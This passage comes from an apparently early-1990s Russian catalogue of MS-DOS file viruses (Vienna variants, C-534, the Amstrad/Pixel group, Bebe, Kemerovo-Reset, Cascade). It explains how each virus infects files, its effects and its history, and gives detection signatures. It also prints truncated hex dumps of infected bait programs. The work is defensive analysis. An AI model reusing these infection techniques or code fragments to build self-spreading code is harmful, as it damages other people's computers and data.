при попытке записи на защищенную дискету. Кроме того, в уничтожае-
мые модули записывается переход по адресу C800:0000. Возможно, ав-
тор предполагал, что в результате будет выполнена форматизация ди-
ска. Уничтоженные модули можно искать по сигнатуре EA000000C8.
  Данный штамм  содержит подпрограмму обработки ошибок ввода/выво-
да. Поэтому  при попытке заражения программы, расположенной на за-
щищенной дискете, не выдается соответствующего сообщения MS DOS.
  Исторические сведения. Передан автору Д.Н.Лозинским. Обнаружен в
конце 1989 г.
  Программные средства защиты. См. прил.1.

             Фрагмент дрозофилы, зараженной вирусом C-623

000: E9A0009090909090 9090909090909090  ................
010: 8000ED251B012100 2000909090E9A000  ...%..!. .......
020: 2A2E434F4D001C00 0E04504154483D47  *.COM.....PATH=G
030: 3632332E434F4D00 0000202020202020  623.COM...
040: 2020202020202020 2020202020202020
050: 2020202020202020 2020202020202020
060: 2020202020202020 2020202020202003                 .
070: 3F3F3F3F3F3F3F3F 434F4D030700EE02  ????????COM.....
080: 00000000201B0121 0010000000473632  .... ..!.....G62
090: 332E434F4D000000 0000EA000000C856  3.COM..........V
0A0: 050E2551BA1001FC 8BF283C60ABF0001  ..%Q............
0B0: B90300F3A48BF2B4 30CD213C007503E9  ........0.!<.u..
0C0: A80106B42FCD2189 1C8C4402B82435CD  ..../.!...D..$5.
0D0: 21899C8F008C8491 0007B824258BD681  !..........$%...
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
230: 8B54068B4C0480E1 E080C91FB80157CD  .T..L.........W.
240: 21B43ECD21B80143 8B4C08BA1F0003D6  !.>.!..C.L......
250: CD211EB41A8B148E 5C02CD21B824258B  .!......\..!.$%.
260: 948F008E9C9100CD 211F5933C033DB33  ........!.Y3.3.3
270: D233F6BF00015733 FFC2FFFFB000CF    .3....W3.......

                  4.1.3. Штамм C-627 (Vienna-Y)

  В штамме 627 исключен блок уничтожения программы.
  Исторические сведения. Передан автору Д.Н.Лозинским. Обнаружен в
конце 1989 г.
  Программные средства защиты. См. прил.1.

                       4.2. Польская группа

  Польская группа  включает несколько штаммов, стратегия заражения
которых основана  на поиске файлов с расширением COM в текущем ка-
талоге и  использовании для  отметки зараженных файлов не значение
62 с. в поле секунд, а 13 месяца.  Она включает два почти идентич-
ных вируса  С-507 и  С-534, из  которых в нашу страну попал только
второй. Анализ  кода создает  впечатление о том, что основные идеи
заимствованы у венского вируса, онако это впечатление может быть и
ложным. В  связи с  используемым методом отметки зараженных файлов
группа практически полностью уничтожена.

          4.2.1. Вирус С-534 (Toothless у Беззубый, W13)

  В коде вируса C-534 прослеживаются явные аналогии с кодом вируса
С-648, однако  чувствуется более  низкая квалификация автора. Воз-
можно, автор  пользовался комментированным  листингом вируса С-648
(по-видимому, австрийского  происхождения). Против этого предполо-
жения говорит  тот факт, что стратегия заражения существенно упро-
щена, а признак зараженности файла изменен на более заметный, хотя
при создании  штаммов чаще наблюдаются попытки "улучшить" эти уча-
стки кода.  Формально вирус  С-534 у файловый нерезидентный вирус,
поражающий файлы  типа СОМ. Функционирует на версиях MS DOS, начи-
ная с  2.0. Длина  534 (216h)  байта. Заражаются только .COM-файлы
длиной от  256(100h) до FA00h байт в текущем и корневом каталогах.
Заражение происходит  при запуске  инфицированной  программы,  при
этом заражается  не более  одного файла. При выполнении зараженной
программы управление передается на начало вируса. Вирус восстанав-
ливает первые 3 байта основной программы, ищет незараженный файл с
раcширением СОМ и заражает его. Это ведет к потере рабоспособности
EXE файлов,  записанных с расширением COM. Работоспособность таких
файлов может  быть восстановлена путем применения соответствующего
фага.
  Стратегия заражения у  поиск файла-жертвы  в текущем  и корневом
каталогах. Поражает  СOMMAND.COM. При  заражении он дописывается в
конец программы  и одновременно  вставляет в первые три байта COM-
файла команду  перехода на тело вируса. При этом размер файла уве-
личивается на  534 байта, дата создания файла и атрибуты файла из-
меняются (вирус  снимает атрибут READ ONLY и из-за ошибки в тексте
не восстанавливает  его; кроме того, в дате подставляется 13 (0Dh)
месяц). Заражение выполняется однократно. Минимальный размер зара-
жаемых файлов у  256 байтов (100h), максимальный у чуть меньше 64К
(FA00h). При попытке заражения у файла проверяется значение месяца
последней его  модификации и,  если оно равно 0Dh (13-й месяц), то
файл не  заражается. Очевидно, что данный метод предотвращения по-
вторного заражения  является вариантом  метода, использованного  в
"базовом" вирусе С-648 с той разницей, что вместо секунд использу-
ется месяц.
  Как и С-648, вирус C-534 не проверяет, находится заражаемый файл
на защищенной  дискете или  нет, и  в этом случае выдается обычное
сообщение операционной системы:

  Write protect error writing device <лог.имя.устр.>
  Abort, Retry, Ignore, Fail?

  При заражении  EXE-файлов с  расширением COM  наблюдаются те  же
проблемы, что и для вируса С-648.
  Исторические замечания.  Обнаружен в  Польше в  ноябре 1988 г. В
Киеве появился  приблизительно в  октябре 1989 г. Первым фагом для
данного вируса,  распространяемым бесплатно,  вероятно был полифаг
Д.Н.Лозинского.
  Методы и  программные средства  защиты. Методы защиты аналогичны
методам защиты  от вируса  С-648. Рекомендуется  использовать про-
граммы, указанные в прил.1.

              Фрагмент дампа программы DUMY0400.COM,
                     зараженной вирусом C-534

100  E98D019090909090  9090909090909090 ................
110  9090909090909090  9090909090909090 ................
***  Последующие строки идентичны предыдущей  ***
280  9090909090909090  90909090909090C3 ................
290  50BEF5038BD681C6  0000FCB90300BF00 P...............
2A0  01F3A48BFAB430CD  213C007503E93F01 ......0.!<.u..?.
2B0  BA2C0003D78BDAB4  1ACD21BD00008BD7 .,........!.....
2C0  81C20700B90300B4  4ECD21E90400B44F ........N.!....O
...  ..  ..  ..  ..   ..  ..  ..  ..    .. .. .. .. ..
3E0  00438B8D2200CD21  BA8000B41ACD2158 .C.."..!......!X
3F0  BF000157C3EBFE90  E98D015C3F3F3F3F ...W.......\????
400  3F3F3F3F2E434F4D  00545259302E434F ????.COM.TRY0.CO
410  4D004D0000000020  00E4812400000000 M.M.... ...$....
420  00073F3F3F3F3F3F  3F3F434F4D030900 ..????????COM...
430  000046510F0920E4  8124009001000054 ..FQ....$.....T
440  5259302E434F4D00  4D0000006F736F66 RY0.COM.M...osof
450  7479726967687420  4D6963726F736F66 tyright Microsof
460  7479726967687420  4D6963726F736F66 tyright Microsof
470  7479726967687420  4D6963726F736F66 tyright Microsof
480  7479726967687420  4D6963726F736F66 tyright Microsof
490  7479726967687420  4D6963726F736F66 tyright Microsof

                        4.2.2. Вирус С-507
          (13 месяц-Б, Toothless-B у Беззубый-Б, W13-B)

  Данный штамм  представляет собой  более отлаженный вариант пред-
ыдущего вируса.  Ищет заражаемые  файлы только в текущем каталоге.
Другие подробности  неизвестны. Вирус детектируется полидетектором
SCAN и входит в версии списка П.Хоффман, начиная с датированной 10
августа 1990 г.

                     4.3. Группа IV (Amstrad)

  Данная группа в настоящее время состоит из трех представителей с
длинами 847,  740 и  345 байт. На расстоянии 2-3 байта от начала в
этих вирусах стоят буквы "IV". Из этой группы SCAN опознает только
IV-847, называя  его "Amstrad  Virus [Amst]". П. Хоффман описывает
ряд других,  неизвестных в нашей стране штаммов. В их числе штаммы
с длиной 277 и 299 байтов, которые аналогичны вирусу С-345, однако
текст сообщения исключен и вместо кода, обеспечивающего выдачу со-
общения, вставлен  код, создающий  ошибку четности  (Parity error)
приблизительно в 50% случаев запуска программы. Вирусы этой группы
являются одними из наиболее простых файловых вирусов. Они заражают
только COM-файлы  в текущем каталоге, причем при заражении не пре-
дусмотрено ни сохранение даты, ни контроль длины. Заражение произ-
водится приписываением  тела вируса к началу файла. Таким образом,
в зараженной  программе вирус располагается в начале, что встреча-
ется довольно редко.
  Существенной разницы  в функционировании  штаммов нет:  в данном
случае большая  длина вируса  не означает усложнения механизма его
работы. Все  три штамма заражают только файлы с расширение "COM" в
текущем каталоге,  причем правильность  расширения не проверяется.
Как и  в случае  с вирусом  С-648, это приводит к повреждению EXE-
файлов с расширением COM: после заражения файлы становятся нерабо-
тоспособными и  их запуск обычно ведет к зависанию системы. Данное
повреждение может быть устранено "выкусыванием" вируса из програм-
мы.

                  4.3.1. C-345 (Pixel у Пиксель)

  Получив управление, данный вирус переписывает собственное тело в
область памяти,  отстоящую от области загрузки данной программы на
64К. Это действие может привести к нарушению работы системы в слу-
чае наложения копии на резидентные программы. Затем вирус выполня-
ет поиск  в текущем подкаталоге файла типа с расширением COM. Если
такой файл обнаружен, то он считывается в память, располагаясь не-
посредственно за  копией вируса  (таким образом вся область памяти
практически представляет  собой образ  зараженной вирусом програм-
мы). Если второй и третий байты считанной программы принимают зна-
чения 49h и 56h ("IV"), то вирус считает, что данная программа уже
заражена. В противном случае в файл, из которого была считана про-
грамма, "сбрасывается"  область оперативной памяти, начиная с тела
вируса. За одно выполнение зараженной программы вирус предпринима-
ет попытку заражения всех файлов в текущем каталоге. Очевидно, что
процесс заражения прекращается, если все файлы в текущем  каталоге
уже заражены.
  При каждом  вызове зараженной программы вирус увеличивает значе-
ние специального счетчика, а затем выполняет проверку его содержи-
мого. Если  значение счетчика равно 5, то вирус считывает значение
таймера, и, если оно нечетно, то на экран выводится сообщение

  Program sick error:
  Call doctor or buy PIXEL for cure description;

и выполнение программы блокируется. Это сообщение содержится в те-
ле вируса  в незашифрованном виде. Поэтому иногда этот вирус назы-
вают PIXEL. После завершения своей работы вирус сдвигает тело про-
граммы, вместе  с которой  он первоначально был загружен в память,
на количество  байт, равное длине вируса, и передает управление на
начало программы.
  Исторические замечания.  Исходный текст данного вируса был опуб-
ликован в Греции журналом Пиксель (Pixel). В СССР попал на  вирус-
ной дискете В.Бончева. Первым фагом для данного вируса был, по-ви-
димому, полифаг Д.Н.Лозинского.
  Неформальные названия.  Распространенным неформальным  названием
этого вируса  является Pixel.  Д.Н.Лозинский называет данный вирус
IV-345.
  Программные средства защиты. См. прил.1.

         Фрагмент дампа дрозофилы, зараженной вирусом С-345

000: EB3B4956012A2E43 4F4D000000000000 .;IV.*.COM......
010: 0000000000000000 0000000000000000 ................
020: 0000000000000000 0000000000000000 ................
030: 0000000000000000 0000000000508CC8 .............P..
040: 0500108EC0FE0604 01BE000133FFB959 ............3..Y
050: 0190F3A4BA1101B4 1ACD21BA0501B906 ..........!.....
060: 00B44ECD21724BBA 2F01B8023DCD218B ..N.!rK./...=.!.
...  ..  ..  ..  ..   ..  ..  ..  ..   ..  ..  ..  ..
0D0: D801B409CD21CD20 50726F6772616D20  .....!. Program
0E0: 7369636B20657272 6F723A43616C6C20  sick error:Call
0F0: 646F63746F72206F 7220627579205049  doctor or buy PI
100: 58454C20666F7220 6375726520646573  XEL for cure des
110: 6372697074696F6E 0A0D24BE3702B922  cription..$.7.."
120: 0033FFF3A45B2EC7 060B0100002E8C06  .3...[..........
130: 0D012EFF2E0B011E 07BE5902BF0001B9  ..........Y.....
140: FFFF2BCEF3A42EC7 06000100012E8C1E  ..+.............
150: 02018BC32EFF2E00 01B409BA0901CD21  ...............!
160: CD20333435205669 7275732033343520  . 345 Virus 345
170: 6279746573202124                   bytes !$

                      4.3.2. C-847 (Amstrad)

  Вирус практически  полностью аналогичен предыдущему, за исключе-
нием того,  что проверка  на зараженность программы выполняется по
третьему и  четвертому байтам и буфер для чтения/записи размещен в
теле вируса.
  Исторические замечания.  В СССР  попал в сентябре 1989 г. на ви-
русной дискете В.Бончева. Первые случаи заражения отмечены в Моск-
ве в  марте 1990 г. Вирус можно отнести к числу самых старых, про-
стейших вирусов. Вирус Amstrad был передан McAfee в ноябре 1989 г.
Джиан Луз  (Jean Luz),  однако был известен в Испании и Португалии
по  меньшей   мере  за  год  до  этого.  Этот  штамм  не  заражает
COMMAND.COM и  содержит "самозванную"  рекламу  компьютеров  фирмы
Amstrad.
  Неформальные названия.  Д.Н.Лозинский называет  данный вирус IV-
847.  Полидетектор  SCAN  называет  данный  вирус  "Amstrad  Virus
[Amst]".
  Программные средства защиты. См. прил.1.

         Фрагмент дампа дрозофилы, зараженной вирусом С-847

000: EB14904956012A2E 434F4D004F040000  ...IV.*.COM.O...
010: 0100000000008CC8 0500108EC0FE0605  ................
020: 01BE000133FFB94F 01F3A4BA5F02B41A  ....3..O...._...
030: CD21BA0601B90600 B44ECD217260BA7D  .!.......N.!r`.}
040: 02B8023DCD21A314 018BD8061FBA4F03  ...=.!........O.
050: B9FFFFB43FCD2105 4F032EA312013E81  ....?.!.O.....>.
060: 3E52034956742133 C98BD12E8B1E1401  >R.IVt!3........
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
0C0: CD21CD2050726F67 72616D207369636B  .!. Program sick
0D0: 206572726F723A43 616C6C20646F6374   error:Call doct
0E0: 6F72206F72206275 7920504958454C20  or or buy PIXEL
0F0: 666F722063757265 2064657363726970  for cure descrip
100: 74696F6E0A0D24BE 2402B92B0033FFF3  tion..$.$..+.3..
110: A433FF2EC7060E01 00002E8C0610012E  .3..............
120: FF2E0E011E07BE4F 04803E0501017504  .......O..>...u.
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
300: 508D46AE509A4387 751883C4049A8085  P.F.P.C.u.......
310: 7518FF76088D865E FF508D46AE50E8A8  u..v...^.P.F.P..
320: 0583C4068946FE3D FFFF74053D010075  .....F.=..t.=..u
330: 03E8A0D0837EFE01 7403E947FE837E08  .....~..t..G..~.
340: 0075288D46AE509A 9487751883C402B4  .u(.F.P...u.....
350: 09BA0901CD21CD20 3834372056697275  .....!. 847 Viru
360: 7320383437206279 746573202124      s 847 bytes !$

                   4.3.3. C-740 (Canser у Рак)

  C-740 не  контролирует и  своего наличия в модуле, в связи с чем
заражение происходит многократно.
  Исторические замечания.  В СССР  попал в сентябре 1989 г. на ви-
русной дискете В.Бончева.
  Неформальные названия.  Д.Н.Лозинский называет  данный вирус IV-
740.
  Программные средства защиты. См. прил.1.

          Фрагмент дампа дрозофилы, зараженной вирусом С-740

000: EB14904956012A2E 434F4D00E4030000  ...IV.*.COM.....
010: 0000000000008CC8 0500108EC0FE0605  ................
020: 01BE000133FFB9E4 00F3A4BAF401B41A  ....3...........
030: CD21BA0601B90600 B44ECD217257BA12  .!.......N.!rW..
040: 02B8023DCD21A314 018BD8061FBAE402  ...=.!..........
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
220: 4B2D83C40489865C FF833E1A1E00741D  K-.....\..>...t.
230: 833E1C1E007516B8 2B4B509A94877518  .>...u..+KP...u.
240: 83C4020BC07406C7 061C1E0100FFB65C  .....t.........\
250: FF8D46AE509A6A86 751883C404FF7606  ..F.P.j.u.....v.
260: 8D865EFF509A6A86 751883C404FF7608  ..^.P.j.u.....v.
270: 8D46AE508D865EFF 50E8F60083C40689  .F.P..^.P.......
280: 8654FF3DFEFF7503 E9F9FEFF361C1EFF  .T.=..u.....6...
290: B65CFFE8794183C4 04898656FF3DFFFF  .\..yA.....V.=..
2A0: 7503E9DFFE0BC074 2C837E08007526FF  u......t,.~..u&.
2B0: 361A1E8D865EFF50 E8544183C4048986  6....^.P.TA.....
2C0: 58FF3DFFFF7503E9 BAFE3D01001BC0F7  X.=..u....=.....
2D0: D8898656FF8D46AE 509A0487751883C4  ...V..F.P...u...
2E0: 020BC075B409BA09 01CD21CD20373430  ...u......!. 740
2F0: 2056697275732037 3430206279746573   Virus 740 bytes
300: 202124                              !$

        4.4. Вирус E-1961 (Yankee Doodle-2 у Янки Дудль-2)

  В настоящее время этот вирус можно считать "вымершим" и информа-
ция о нем представляет  лишь исторический интерес. Вирус  является
первым болгарским вирусом в котором использован стандартный  метод
заражения EXE-файлов, при реализации которого, впрочем, был  допу-
щен ряд ошибок и неточностей. При заражении длина файла увеличива-
ется на 1961 байт. Вирус не является резидентным. При запуске  за-
раженной программы вирус ищет жертву в текущем каталоге и если по-
пытка заражения удалась, то играет мелодию Янки Дудль.
  Исторические замечания. Исходный текст вируса распространялся на
вирусной дискете В.Бончева. Известен автор вируса. В СССР отмечены
лишь отдельные случаи заражения.
  Методы  и средства защиты. См. прил.1.

                 4.5. Вирус C-1024 (Bebe у Бебе)

  Неформальное название  данного вируса связано с выдаваемым виру-
сом на  экран сообщением.  Идея, лежащая  в основе данного вируса,
является модификацией использованной в одном из самых старых виру-
сов у Cookie (см. ниже).
  Формально С-1004 представляет собой простой файловый нерезидент-
ный вирус,  заражающий файлы, имеющие расширение COM в текущем ка-
талоге. СОММАND.COM заражается как обычный СОМ-файл.
  COM-файлы заражаются  однократно. При  заражении длина  файла не
проверяется. Свое тело вирус дописывает в конец файла с выравнива-
нием начала  на границу  параграфа. В  зараженных файлах  изменены
первые 14  байтов, причем  измененные байты  содержат группу (PUSH
AX; т  ; JMP  FAR Virus_Start;)  команд, а не единственную команду
JMP, как  это бывает  обычно. Поэтому  зараженная программа всегда
начинается с строки "50 0E 8C C8 2E 01 06 0C 01 EA". Выше было от-
мечено, что  первую команду JMP, подставляемую большинством файло-
вых вирусов,  дописывающих свое тело в конец COM-файла, можно рас-
сматривать как вырожденный сегмент. В данном случае первые 14 байт
представляют собой  настоящий сегмент  тела вируса и фактически мы
имеем дело с файловым вирусом, состоящим из двух сегментов.
  Длина вируса  1004 (3ECh) байта совпадает с минимальным прираще-
нием заражаемых файлов. Файлы с атрибутом READ ONLY не заражаются.
Вирус имеет несколько необычную реализацию фазы проявления, созда-
ющую иллюзию, что мы имеем дело с резидентным вирусом: при запуске
первой зараженной  программы он  копирует часть  своего тела в об-
ласть векторов  прерываний по  адресу 0000:01CE и устанавливает на
нее прерывание  1Ch (таймер). Тем самым создается резидентная про-
грамма, "висящая" на таймере, которая через некоторое время выдает
на экран заставку

                +-------- VIRUS ! ------+
                |  Skagi "bebe" >       |
                +-----------------------+

и  переходит   в  состояние   ожидания  ввода  с  клавиатуры.  При
разработке вируса  предполагалось, что, если с клавиатуры вводится
слово "bebe",  то на экране появляется сообщение "Fig Tebe !". По-
следнее дает определенное представление об уровне культуры автора,
даже если  рассматривать это  как своего рода юмор. Однако реально
программа зацикливается  из-за ошибки.  В результате  после выдачи
сообщения компьютер  зависает и его приходится перегружать, причем
сделать это удается только клавишей RESET.
  Уровень программирования,  в целом,  невысок. В частности, вирус
не восстанавливает DTA, что может привести к зависанию компьютера.
Аналогично, затирание части таблицы векторов прерываний может при-
водить к зависанию или нарушению функционирования программ. Помимо
приведенных выше  строк, образующих  заставку и ответ, тело вируса
содержит строку "*.COM".
  Исторические замечания.  Очередной вирус отечественной разработ-
ки. Обнаружен летом 1990 г.
  Неформальные названия.  Полидетектор SCAN данный вирус не детек-
тирует.
  Программные средства  защиты. Полифаг Aidstest версий, начиная с
44. Детектирование  можно выполнять  по сигнатуре,  приведенной  в
прил.1.

         Фрагмент дампа дрозофилы, зараженной вирусом С-1004

000: 500E8CC82E01060C 01EA580011002400  P.........X...$.
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
060: 9000000000000000
начало тела вируса -> 582EA3CC01581E06  M.......X....X..
070: 5053515256579C8C C88ED88EC08D360E  PSQRVW........6.
080: 0006C43ECA01B90E 00F3A40706B42FCD  ...>........../.
090: 212E891E2400062E 8F06260007B41A8D  !...$.....&.....
0A0: 162800CD21B44E8D 161E00B93F00CD21  .(..!.N.....?..!
0B0: 7303E9D0008D1628 0083C21EB8023DCD  s......(......=.
0C0: 21A31C007303E9AF 00B43F8D160E00B9  !...s.....?.....
0D0: 0E008B1E1C00CD21 7303E993008D360E  .......!s.....6.
0E0: 008D3E0000B90A00 FCF3A67503E98000  ..>........u....
0F0: 8D1E28008B5F1A8A C381C30001B104D3  ..(.._..........
100: EB240F3C00740143 891E0C00C7060A00  .$.<.t.C........
110: 5800B8004233C933 D28B1E1C00CD21B4  X...B3.3......!.
120: 408D160000B90E00 8B1E1C00CD218D1E  @............!..
130: 28008B571A33C9B8 00428B1E1C00CD21  (..W.3...B.....!
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
1B0: 018BFE8D0EEC032B CEFCF3A433DB8EDB  .......+....3...
1C0: BB70008D06F002FA 8907C747020000FB  .p.........G....
1D0: 9D5F5E5A595B5807 1FEA0001DD21C9CD  ._^ZY[X......!..
1E0: CDCDCDCDCD205649 5255532120CDCDCD  ..... VIRUS! ...
1F0: CDCDCDBBBA20536B 6167692022626562  ..... Skagi "beb
200: 6522203E20202020 20BAC8CDCDCDCDCD  e" >     .......
210: CDCDCDCDCDCDCDCD CDCDCDCDCDCDCDBC  ................
220: BA20202020204669 6720546562652021  .     Fig Tebe !
230: 2020202020BA0000 0000000000000000       ...........
240: 0000000000000000 0000000000000000  ................
***  последующие строки идентичны предыдущей ***
2B0: 0000000000000000 0000301230121C42  ..........0.0..B
2C0: 4542450D50B8C800 E6428AC4E642E461  EBE.P....B...B.a
2D0: 0C03E661E80800E4 6124FCE66158C3B9  ...a....a$..aX..
2E0: 74272E8A052E3A05 7500E2F9C3E4608A  t'....:.u.....`.
...  ..  ..  ..  ..   ..  ..  ..  ..    .. .. .. .. ..
3D0: 518D362602BF7406 F3A559BF1407F3A5  Q.6&..t...Y.....
3E0: 59BFB407F3A55F5E 5A595B58071F2EA3  Y....._^ZY[X....
3F0: EA0358EA00000000 302A0000          ..X.....0*..

                         4.6. Вирус C-257

           (Kemerovo-Reset у Кемеровская перезагрузка)
  Неформальное название  связано с тем, что, подобно вирусу С-648,
данный вирус,  наряду с  заражением файлов,  вызывает перезагрузку
операционной системы.
  Формально С-257  у это  файловый нерезидентный вирус, заражающий
файлы с  расширением COM  в текущем оглавлении. Заражает командный
процессор.
  Заражает COM-файлы  текущего оглавления  длиной до 64767 (FCFFh)
байтов при  запуске  инфицированной  программы.  Файлы  заражаются
однократно. Копирует  себя в  конец файла  и изменяет его первые 4
байта ( XCHG  AX,DX; JMP  Loc_Virus ).  Длина файлов при заражении
увеличивается на 257 байт.
  Вирус имеет  ряд проявлений.  Во-первых, в зараженных программах
портится дата  создания файла.  Во-вторых, при некоторых значениях
текущего времени  запуск зараженной программы ведет к перезагрузке
компьютера. Вирус  не блокирует  сообщения  о  защите  от  записи.
Зараженные программы теряют способность обрабатывать параметры.
  Код вируса  достаточно примитивен  и  содержит  много  ошибок  и
неточностей. В частности, вирус не закрывает открываемые файлы (по
одному на  заражаемую программу).  При этом открыть их может очень
много (в зависимости от количества файлов в текущем каталоге). При
просмотре  дампа   зараженной  программы  видна  текстовая  строка
"*.COM".
  Исторические замечания.  Происхождение неизвестно. Обнаружен ле-
том 1990 г.
  Неформальные названия.  Полидетектор SCAN данный вирус не детек-
тирует.
  Программные средства  защиты. Полифаг Aidstest версий, начиная с
44. Находятся  в стадии разработки. Детектирование можно выполнять
по сигнатуре, приведенной в прил.1.

          Фрагмент дампа дрозофилы, зараженной вирусом С-257

000: 92E81500D8A10800 8B1E0A00891E0800  ................
010: A30A00B8004CCD21 125BE800005A5289  .....L.!.[...ZR.
020: D681C6C10089D82D 040089C7B90400A4  .......-........
...  ..  ..  ..  ..   ..  ..  ..  ..    .. .. .. .. ..
0C0: B80242CD2172D15A 5283EA04B90001B4  ..B.!r.ZR.......
0D0: 40CD21CC139090E9 3B1092E81500B840  @.!.....;......@
0E0: 008E2A2E434F4D00 B43ECD21B42CCD21  ..*.COM..>.!.,.!
0F0: 80FA0A7DE2909090 90909090909090EA  ...}............
100: 0000FFFF00000000 0000000000000000  ................
110: 0000000000000000 00                .........

                 5. РЕЗИДЕНТНЫЕ  ФАЙЛОВЫЕ ВИРУСЫ,
                       ОБНАРУЖЕННЫЕ В СССР

                      5.1. Группа "Буквопад"

  Данная группа  берет начало с вируса RС-1701 и в настоящее время
включает ряд  вирусов с длиной порядка 1700 байтов, имеющих харак-
терный визуальный  эффект "опадания"  букв на  экране. Большинство
штаммов однократно  заражает файлы типа COM, однако автор встречал
упоминания о штаммах, многократно заражающих файлы.

            5.1.1. Вирус RС-1701 (Cascade -- Буквопад)

  Данный вирус,  по-видимому, является родоначальником группы. Его
название связано с тем, что в зараженной им системе при определен-
ных условиях  начинается "падение"  букв с  верхних  строк  экрана
вниз, сопровождаемое  негромким звуком, напоминающим шорох, и бло-
кировкой клавиатуры. Длина вируса 1701 (6А5h). Формально вирус RС-
1701 -- файловый резидентный вирус, поражающий файлы типа СОМ. Фун-
кционирует на версиях MS DOS, начиная с 2.0 (в теле вируса имеется
проверка). Распространяется  как на PC/XT, так и на PC/AT. Страте-
гия заражения -- при запуске файлов на выполнение. Файлы заражаются
однократно. Максимальная  длина заражаемого файла составляет 63803
(F93Bh) байта.
  Подобно вирусу С-648, при заражении RС-1701 дописывается в конец
программы и  одновременно вставляет  в первые  три байта COM-файла
команду перехода  на тело вируса. При этом размер файла увеличива-
ется на 1701 байт, дата создания файла и атрибуты файла не меняют-
ся. Так  же, как  и вирус С-648, вирус RC-1701 не проверяет, нахо-
дится ли  заражаемая программа (которая загружается на выполнение)
на защищенной  дискете или нет, и пытается выполнить запись на за-
щищенную от  записи дискету.  При этом операционная система выдает
сообщение:

  Write protect error writing device <лог.имя.устр.>
  Abort, Retry, Ignore, Fail?

  Этот эффект можно использовать для обнаружения данного и некото-
рых других резидентных вирусов, поскольку на зараженной ими машине
попытка загрузить программу с защищенной дискеты всегда приводит к
выдаче указанного  выше сообщения. В то же время, как уже указыва-
лось, это сообщение часто воспринимается неопытными пользователями
не как  предупреждение о попытке выполнить какие-то несанкциониро-
ванные действия, а как просьба снять защитную наклейку.
  Механизм функционирования  данного вируса существенно отличается
от С-648.  В частности,  для   того, чтобы  различать зараженные и
незараженные файлы  используетсял не  время создания, а первые три
байта файла.  Кроме того, вирус по BIOS определяет фирму-изготови-
тель для  того, чтобы  в случае,  если таковой является IBM, сразу
передать управление зараженной программе, не проявляя никаких при-
знаков активности (латентная фаза). Возможно, разработчик опасался
санкций со стороны такой могущественной фирмы, как IBM. Однако при

программировании указанной проверки допущена ошибка, и вирус зара-
жает и ПЭВМ фирмы IBM.
  При запуске зараженной программы RС-1701 сначала проверяет, име-
ется ли уже резидентная копия данного вируса с помощью  подфункции
FF прерывания  21-4B   (не используемой в версиях MS DOS 3.3 и ни-
же). Если  нет, вирус  инсталлируется в  младших адресах свободной
оперативной памяти,  перехватывая прерывания 1Ch, 21h и 28h. В ре-
зультате, при  запуске любой  программы вирус получает управление,
проверяет, является  ли запускаемая  программа зараженной,  и если
нет, то  заражает данную  программу на диске. В процессе заражения
файла вирус  создает в памяти свою копию, кодирует ее и дописывает
в конец заражаемого файла. Затем у файла изменяются первые 3 байта
(организуется переход на начало тела вируса).
  При выполнении  зараженной  программы  управление  командой  JMP
(Е9h) передается  на начало вируса. Первыми командами вирус узнает
длину исходного файла и раскодирует свое тело. Затем вирус восста-
навливает измененные  им при заражении файла первые три байта про-
граммы, проверяет,  заражен компьютер  или нет, и если не заражен,
то посредством манипуляций с MCB, PSP и 2 раза копируя себя, оста-
ется резидентным в памяти. Чтобы по окончании работы программы-ви-
русоносителя резидентная  часть вируса  не была удалена из памяти,
данный вирус выполняет достаточно тонкую операцию, заключающуюся в
сдвиге загруженной программы в область старших адресов, записи се-
бя на освободившееся место и соответствующей корректировки систем-
ных блоков.
  Демонстрационный эффект привязан к часам, причем условие запуска
выбрано так, что он проявляется в основном на машинах типа XT, при
установленной дате.  На AT визуальный эффект в обычных условиях не
наблюдается, хотя вирус успешно размножается. По некоторым данным,
он возникает  при установке  даты на третий квартал 1988 г. В ука-
занных случаях, если загружается файл COMMAND.COM и он отмечен как
зараженный, то  вирус демаскируется, демонстрируя свое присутствие
с помощью  эффекта "падающих букв" на экране монитора. Сеансы опа-
дания букв происходят через определенные интервалы времени. В про-
цессе падения букв клавиатура блокируется и работать с компьютером
становится невозможно до полного опадания букв на экране. При этом
падение каждой буквы сопровождается характерным звуком, напоминаю-
щим шорох.  На неспециалистов эта "шутка" часто производит впечат-
ление аппаратной неисправности.
  Никаких других  несанкционированных действий вирус не выполняет,
поэтому в  целом его  деятельность можно  было бы охарактеризовать
как мелкое  хулиганство, если бы не одно обстоятельство. При зара-
жении некоторых системных программ, используемых преимущественно в
AUTOEXEC.BAT, он  может вызывать  блокировку загрузки  MS DOS. Эта
блокировка, в  частности, возникает  на ПЭВМ ЕС-1840 при заражении
обычно включаемой  в AUTOEXEC.BAT программы E1840.COM (EDISK.COM),
обеспечивающей разделение  одного физического диска на два логиче-
ских, по  360К каждый (А и С на одном дисководе, B и D на другом).
Этот эффект  не был  предусмотрен разработчиком вируса, что, впро-
чем, не освобождает его от ответственности. Вместе с тем, ситуация
с EС-1840 может служить наглядной иллюстрацией того факта, что при
заражении системных  программ любой  вирус может создавать опасные
побочные эффекты. Поэтому любые компьютерные вирусы следует немед-
ленно удалять,  как только  они появились, даже если путем анализа
или из надежных источников установлено, что никаких разрушительных
действий они не выполняют.
  Резидентная часть  вируса легко  обнаруживается путем  просмотра
списка резидентных  программ (с  помощью утилит  MAP, SMAP, MMAP и
т.д.). Как  видно из приводимой ниже карты памяти, в списке загру-
женных программ появляется дополнительная строка, описывающая без-
ымянную программу, не имеющую   имени родителя.
  Вирус RC-1701  является одним из первых вирусов, в которых пред-
приняты определенные  усилия, направленные  на усложнение процесса
его дизассемблирования.  В частности,  основная часть  тела вируса
шифруется с  помощью операции "исключающее ИЛИ". Поэтому непосред-
ственное дизассемблирование  зараженной программы  пакетным дизас-
семблером полной  информации о структуре вируса не дает. Ключ шиф-
ровки зависит  от длины файла, поэтому два зараженных файла разной
длины не имеют общих подстрок, за исключением начала инсталлятора.
По той же причине текстовых строк тело вируса не содержит.
  Исторические замечания.  Данный вирус появился в Западной Европе
в первой  половине 1988  г. (см.,  например, статью [50]). Об этом
также свидетельствуют  даты создания версий программы SERUM. Вирус
также  распространялся  на  вирусной  дискете  В.Бончева  в  файле
V1700.COM, датированном 16 января 1989 г.
  В СССР  впервые был выделен в конце 1988 г. в Институте приклад-
